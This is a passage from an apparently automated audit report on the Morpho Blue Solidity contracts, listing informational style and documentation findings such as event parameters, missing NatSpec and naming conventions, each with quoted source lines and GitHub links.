+[58](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L58)
+
+
+
+
+### Events are missing sender information
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+When an action is triggered based on a user's action, not being able to filter based on who triggered the action makes event processing a lot more cumbersome. Including the `msg.sender` the events of these types of action will make events much more useful to end users.
+
+*Instances (8)*:
+
+
+```solidity
+File: src/Morpho.sol
+
+81: emit EventsLib.SetOwner(newOwner);
+
+100: emit EventsLib.SetOwner(newOwner);
+
+109: emit EventsLib.EnableIrm(irm);
+
+119: emit EventsLib.EnableLltv(lltv);
+
+135: emit EventsLib.SetFee(id, newFee);
+
+144: emit EventsLib.SetFeeRecipient(newFeeRecipient);
+
+160: emit EventsLib.CreateMarket(id, marketParams);
+
+491: emit EventsLib.AccrueInterest(id, borrowRate, interest, feeShares);
+
+```
+
+[81](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L81), [100](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L100), [109](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L109), [119](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L119), [135](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L135), [144](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L144), [160](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L160), [491](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L491)
+
+
+
+
+### Events that mark critical parameter changes should contain both the old and the new value
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+This should especially be done if the new value is not required to be different from the old value
+
+*Instances (5)*:
+
+```solidity
+File: src/Morpho.sol
+
+100: emit EventsLib.SetOwner(newOwner);
+
+100: emit EventsLib.SetOwner(newOwner);
+
+144: emit EventsLib.SetFeeRecipient(newFeeRecipient);
+
+144: emit EventsLib.SetFeeRecipient(newFeeRecipient);
+
+431: emit EventsLib.SetAuthorization(msg.sender, msg.sender, authorized, newIsAuthorized);
+
+```
+
+[100](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L100), [100](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L100), [144](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L144), [144](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L144), [431](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L431)
+
+
+
+### Events should be emitted before external calls
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Ensure that events follow the best practice of check-effects-interaction, and are emitted before external calls
+
+*Instances (3)*:
+
+```solidity
+File: src/Morpho.sol
+
+/// @audit safeTransfer() prior to emission of
+403: emit EventsLib.Liquidate(id, msg.sender, borrower, repaidAssets, repaidShares, seizedAssets, badDebtShares);
+
+/// @audit safeTransfer() prior to emission of
+418: emit EventsLib.FlashLoan(msg.sender, token, assets);
+
+/// @audit borrowRate() prior to emission of
+491: emit EventsLib.AccrueInterest(id, borrowRate, interest, feeShares);
+
+```
+
+[403](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L403), [418](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L418), [491](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L491)
+
+
+
+
+### Contract should expose an `interface`
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+All `external`/`public` functions should extend an interface. This is useful to ensure that the whole API is extracted and can be more easily integrated by other projects.
+
+*Instances (18)*:
+
+
+```solidity
+File: src/Morpho.sol
+
+95: function setOwner(address newOwner) external onlyOwner {
+
+104: function enableIrm(address irm) external onlyOwner {
+
+113: function enableLltv(uint256 lltv) external onlyOwner {
+
+123: function setFee(MarketParams memory marketParams, uint256 newFee) external onlyOwner {
+
+139: function setFeeRecipient(address newFeeRecipient) external onlyOwner {
+
+150: function createMarket(MarketParams memory marketParams) external {
+
+166: function supply(
+167: MarketParams memory marketParams,
+168: uint256 assets,
+169: uint256 shares,
+170: address onBehalf,
+171: bytes calldata data
+172: ) external returns (uint256, uint256) {
+
+197: function withdraw(
+198: MarketParams memory marketParams,
+199: uint256 assets,
+200: uint256 shares,
+201: address onBehalf,
+202: address receiver
+203: ) external returns (uint256, uint256) {
+
+232: function borrow(
+233: MarketParams memory marketParams,
+234: uint256 assets,
+235: uint256 shares,
+236: address onBehalf,
+237: address receiver
+238: ) external returns (uint256, uint256) {
+
+266: function repay(
+267: MarketParams memory marketParams,
+268: uint256 assets,
+269: uint256 shares,
+270: address onBehalf,
+271: bytes calldata data
+272: ) external returns (uint256, uint256) {
+
+300: function supplyCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, bytes calldata data)
+301: external
+302: {
+
+320: function withdrawCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, address receiver)
+321: external
+322: {
+
+344: function liquidate(
+345: MarketParams memory marketParams,
+346: address borrower,
+347: uint256 seizedAssets,
+348: uint256 repaidShares,
+349: bytes calldata data
+350: ) external returns (uint256, uint256) {
+
+415: function flashLoan(address token, uint256 assets, bytes calldata data) external {
+
+428: function setAuthorization(address authorized, bool newIsAuthorized) external {
+
+435: function setAuthorizationWithSig(Authorization memory authorization, Signature calldata signature) external {
+
+462: function accrueInterest(MarketParams memory marketParams) external {
+
+530: function extSloads(bytes32[] calldata slots) external view returns (bytes32[] memory res) {
+
+```
+
+[95](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L95), [104](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L104), [113](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L113), [123](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L123), [139](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L139), [150](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L150), [166-172](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166-L172), [197-203](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L197-L203), [232-238](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L232-L238), [266-272](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L266-L272), [300-302](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300-L302), [320-322](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L320-L322), [344-350](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344-L350), [415](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L415), [428](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L428), [435](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L435), [462](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L462), [530](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L530)
+
+
+
+### for modern and more readable code; update import usages
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Solidity code is also cleaner in another way that might not be noticeable: the struct Point. We were importing it previously with global import but not using it. The Point struct polluted the source code with an unnecessary object we were not using because we did not need it. This was breaking the rule of modularity and modular programming: only import what you need Specific imports with curly braces allow us to apply this rule better.
+`import {contract1 , contract2} from "filename.sol";`
+
+*Instances (1)*:
+
+```solidity
+File: src/Morpho.sol
+
+25: import "./libraries/ConstantsLib.sol";
+
+```
+
+[25](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L25)
+
+
+
+### Named imports of parent contracts are missing
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+*Instances (2)*:
+
+```solidity
+File: src/interfaces/IMorpho.sol
+
+294: interface IMorphoStaticTyping is IMorphoBase {
+
+333: interface IMorpho is IMorphoBase {
+
+```
+
+[294](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L294), [333](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L333)
+
+
+
+### Inconsistent method of specifying a floating pragma
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Some files use `>=`, while others use `^`. The instances below are examples of the method that has the fewestinstances for a specific version.
+
+Occurrences of `^`: 11 and `>=`: 5`
+
+
+
+### Don't initialize `uint`s and `int`s with zero
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+*Instances (4)*:
+
+```solidity
+File: src/libraries/periphery/MorphoStorageLib.sol
+
+14: uint256 internal constant OWNER_SLOT = 0;
+
+26: uint256 internal constant LOAN_TOKEN_OFFSET = 0;
+
+32: uint256 internal constant SUPPLY_SHARES_OFFSET = 0;
+
+35: uint256 internal constant TOTAL_SUPPLY_ASSETS_AND_SHARES_OFFSET = 0;
+
+```
+
+[14](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L14), [26](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L26), [32](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L32), [35](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L35)
+
+
+
+### Long functions should be refactored into multiple functions
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Consider splitting long functions into multiple, smaller functions to improve the code readability.
+
+*Instances (1)*:
+
+```solidity
+File: src/Morpho.sol
+
+/// @audit number of line: 66
+344: function liquidate(
+
+```
+
+[344](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344)
+
+
+
+### Function names should differ to make the code more readable
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+In Solidity, while function overriding allows for functions with the same name to coexist, it is advisable to avoid this practice to enhance code readability and maintainability. Having multiple functions with the same name, even with different parameters or in inherited contracts, can cause confusion and increase the likelihood of errors during development, testing, and debugging. Using distinct and descriptive function names not only clarifies the purpose and behavior of each function, but also helps prevent unintended function calls or incorrect overriding. By adopting a clear and consistent naming convention, developers can create more comprehensible and maintainable smart contracts.
+
+*Instances (1)*:
+
+```solidity
+File: src/Morpho.sol
+
+/// @audit function name used on lines 501
+513: function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+
+```
+
+[513](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L513)
+
+
+
+### private and internal function names begin with an underscore
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+According to the Solidity Style Guide, Non-external variable and function names should begin0 with an[underscore](https://docs.soliditylang.org/en/latest/style-guide.html#underscore-prefix-for-non-external-functions-and-variables)
+
+*Instances (2)*:
+
+```solidity
+File: src/libraries/SafeTransferLib.sol
+
+21: function safeTransfer(IERC20 token, address to, uint256 value) internal {
+
+29: function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
+
+```
+
+[21](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L21), [29](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L29)
+
+
+
+### Public and External function names should should use mixedCase
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+See the [function-names](https://docs.soliditylang.org/en/latest/style-guide.html#function-names) section of solidity style guide
+
+*Instances (1)*:
+
+```solidity
+File: src/interfaces/IMorpho.sol
+
+55: function DOMAIN_SEPARATOR() external view returns (bytes32);
+
+```
+
+[55](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L55)
+
+
+
+### Contract declaration should include NatSpec `@notice` documentation
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+*Instances (5)*:
+
+```solidity
+File: src/interfaces/IERC20.sol
+
+/// @audit missed @notice
+9: interface IERC20 {}
+
+```
+
+[9](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IERC20.sol#L9)
+
+```solidity
+File: src/interfaces/IMorpho.sol
+
+/// @audit missed @notice
+51: interface IMorphoBase {
+
+/// @audit missed @notice
+294: interface IMorphoStaticTyping is IMorphoBase {
+
+/// @audit missed @notice
+333: interface IMorpho is IMorphoBase {
+
+```
+
+[51](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L51), [294](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L294), [333](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L333)
+
+```solidity
+File: src/libraries/SafeTransferLib.sol
+
+/// @audit missed @notice
+8: interface IERC20Internal {
+
+```
+
+[8](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L8)
+
+
+
+
+### Contract declaration should include NatSpec `@dev` documentation
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+*Instances (12)*:
+
+
+```solidity
+File: src/Morpho.sol
+
+/// @audit missed @dev
+38: contract Morpho is IMorphoStaticTyping {
+
+```
+
+[38](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L38)
+
+```solidity
+File: src/interfaces/IIrm.sol
+
+/// @audit missed @dev
+10: interface IIrm {
+
+```
+
+[10](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IIrm.sol#L10)
+
+```solidity
+File: src/interfaces/IMorphoCallbacks.sol
+
+/// @audit missed @dev
+6: interface IMorphoLiquidateCallback {
+
+/// @audit missed @dev
+16: interface IMorphoRepayCallback {
+
+/// @audit missed @dev
+26: interface IMorphoSupplyCallback {
+
+/// @audit missed @dev
+36: interface IMorphoSupplyCollateralCallback {
+
+/// @audit missed @dev
+46: interface IMorphoFlashLoanCallback {
+
+```
+
+[6](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorphoCallbacks.sol#L6), [16](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorphoCallbacks.sol#L16), [26](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorphoCallbacks.sol#L26), [36](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorphoCallbacks.sol#L36), [46](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorphoCallbacks.sol#L46)
+
+```solidity
+File: src/libraries/ErrorsLib.sol
+
+/// @audit missed @dev
+8: library ErrorsLib {
+
+```
+
+[8](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/ErrorsLib.sol#L8)
+
+```solidity
+File: src/libraries/EventsLib.sol
+
+/// @audit missed @dev
+10: library EventsLib {
+
+```
+
+[10](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L10)
+
+```solidity
+File: src/libraries/MarketParamsLib.sol
+
+/// @audit missed @dev
+10: library MarketParamsLib {
+
+```
+
+[10](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MarketParamsLib.sol#L10)
+
+```solidity
+File: src/libraries/MathLib.sol
+
+/// @audit missed @dev
+10: library MathLib {
+
+```
+
+[10](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L10)
+
+```solidity
+File: src/libraries/SafeTransferLib.sol
+
+/// @audit missed @dev
+8: interface IERC20Internal {
+
+```
+
+[8](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L8)
+
+
+
+
+### Contract declaration should include NatSpec `@author` documentation
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+*Instances (8)*:
+
+
+```solidity
+File: src/interfaces/IMorpho.sol
+
+/// @audit missed @author
+51: interface IMorphoBase {
+
+/// @audit missed @author
+294: interface IMorphoStaticTyping is IMorphoBase {
+
+```
+
+[51](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L51), [294](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L294)
+
+```solidity
+File: src/interfaces/IMorphoCallbacks.sol
+
+/// @audit missed @author
+6: interface IMorphoLiquidateCallback {
+
+/// @audit missed @author
+16: interface IMorphoRepayCallback {
+
+/// @audit missed @author
+26: interface IMorphoSupplyCallback {
+
+/// @audit missed @author
+36: interface IMorphoSupplyCollateralCallback {
+
+/// @audit missed @author
+46: interface IMorphoFlashLoanCallback {
+
+```
+
+[6](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorphoCallbacks.sol#L6), [16](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorphoCallbacks.sol#L16), [26](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorphoCallbacks.sol#L26), [36](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorphoCallbacks.sol#L36), [46](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorphoCallbacks.sol#L46)
+
+```solidity
+File: src/libraries/SafeTransferLib.sol
+
+/// @audit missed @author
+8: interface IERC20Internal {
+
+```
+
+[8](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L8)
+
+
+
+
+### Contract declaration should include NatSpec `@title` documentatio
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+*Instances (3)*:
+
+```solidity
+File: src/interfaces/IMorpho.sol
+
+/// @audit missed @title
+51: interface IMorphoBase {
+
+/// @audit missed @title
+294: interface IMorphoStaticTyping is IMorphoBase {
+
+```
+
+[51](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L51), [294](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L294)
+
+```solidity
+File: src/libraries/SafeTransferLib.sol
+
+/// @audit missed @title
+8: interface IERC20Internal {
+
+```
+
+[8](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L8)
+
+
+
+### Event declaration should include NatSpec `@dev` documentation
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+*Instances (17)*:
+
+
+```solidity
+File: src/libraries/EventsLib.sol
+
+/// @audit missed @dev
+13: event SetOwner(address indexed newOwner);
+
+/// @audit missed @dev
+18: event SetFee(Id indexed id, uint256 newFee);
+
+/// @audit missed @dev
+22: event SetFeeRecipient(address indexed newFeeRecipient);
+
+/// @audit missed @dev
+26: event EnableIrm(address indexed irm);
+
+/// @audit missed @dev
+30: event EnableLltv(uint256 lltv);
+
+/// @audit missed @dev
+35: event CreateMarket(Id indexed id, MarketParams marketParams);
+
+/// @audit missed @dev
+43: event Supply(Id indexed id, address indexed caller, address indexed onBehalf, uint256 assets, uint256 shares);
+
+/// @audit missed @dev
+52: event Withdraw(
+
+/// @audit missed @dev
+68: event Borrow(
+
+/// @audit missed @dev
+83: event Repay(Id indexed id, address indexed caller, address indexed onBehalf, uint256 assets, uint256 shares);
+
+/// @audit missed @dev
+90: event SupplyCollateral(Id indexed id, address indexed caller, address indexed onBehalf, uint256 assets);
+
+/// @audit missed @dev
+98: event WithdrawCollateral(
+
+/// @audit missed @dev
+110: event Liquidate(
+
+/// @audit missed @dev
+124: event FlashLoan(address indexed caller, address indexed token, uint256 assets);
+
+/// @audit missed @dev
+131: event SetAuthorization(
+
+/// @audit missed @dev
+139: event IncrementNonce(address indexed caller, address indexed authorizer, uint256 usedNonce);
+
+/// @audit missed @dev
+146: event AccrueInterest(Id indexed id, uint256 prevBorrowRate, uint256 interest, uint256 feeShares);
+
+```
+
+[13](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L13), [18](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L18), [22](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L22), [26](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L26), [30](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L30), [35](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L35), [43](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L43), [52](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L52), [68](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L68), [83](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L83), [90](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L90), [98](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L98), [110](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L110), [124](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L124), [131](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L131), [139](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L139), [146](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L146)
+
+
+
+
+### Missing NatSpec from function definitions
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Some functions miss a NatSpec, which should be a [best practice](https://docs.soliditylang.org/en/latest/natspec-format.html) to add as a documentation.
+
+*Instances (28)*:
+
+
+```solidity
+File: src/libraries/SafeTransferLib.sol
+
+9: function transfer(address to, uint256 value) external returns (bool);
+
+10: function transferFrom(address from, address to, uint256 value) external returns (bool);
+
+```
+
+[9](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L9), [10](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L10)
+
+```solidity
+File: src/libraries/periphery/MorphoLib.sol
+
+13: function supplyShares(IMorpho morpho, Id id, address user) internal view returns (uint256) {
+
+18: function borrowShares(IMorpho morpho, Id id, address user) internal view returns (uint256) {
+
+23: function collateral(IMorpho morpho, Id id, address user) internal view returns (uint256) {
+
+28: function totalSupplyAssets(IMorpho morpho, Id id) internal view returns (uint256) {
+
+33: function totalSupplyShares(IMorpho morpho, Id id) internal view returns (uint256) {
+
+38: function totalBorrowAssets(IMorpho morpho, Id id) internal view returns (uint256) {
+
+43: function totalBorrowShares(IMorpho morpho, Id id) internal view returns (uint256) {
+
+48: function lastUpdate(IMorpho morpho, Id id) internal view returns (uint256) {
+
+53: function fee(IMorpho morpho, Id id) internal view returns (uint256) {
+
+58: function _array(bytes32 x) private pure returns (bytes32[] memory) {
+
+```
+
+[13](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L13), [18](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L18), [23](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L23), [28](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L28), [33](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L33), [38](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L38), [43](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L43), [48](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L48), [53](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L53), [58](https://github.com/morpho-org/morpho-blue/tree/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoLib.sol#L58)
+
+```solidity
+File: src/libraries/periphery/MorphoStorageLib.sol
+
+41: function ownerSlot() internal pure returns (bytes32) {
+
+45: function feeRecipientSlot() internal pure returns (bytes32) {
+
+49: function positionSupplySharesSlot(Id id, address user) internal pure returns (bytes32) {
+
+55: function positionBorrowSharesAndCollateralSlot(Id id, address user) internal pure returns (bytes32) {
+
+62: function marketTotalSupplyAssetsAndSharesSlot(Id id) internal pure returns (bytes32) {
+
+66: function marketTotalBorrowAssetsAndSharesSlot(Id id) internal pure returns (bytes32) {
+
+70: function marketLastUpdateAndFeeSlot(Id id) internal pure returns (bytes32) {
+
+74: function isIrmEnabledSlot(address irm) internal pure returns (bytes32) {
+
+78: function isLltvEnabledSlot(uint256 lltv) internal pure returns (bytes32) {
+
+82: function isAuthorizedSlot(address authorizer, address authorizee) internal pure returns (bytes32) {
+
+86: function nonceSlot(address authorizer) internal pure returns (bytes32) {
+
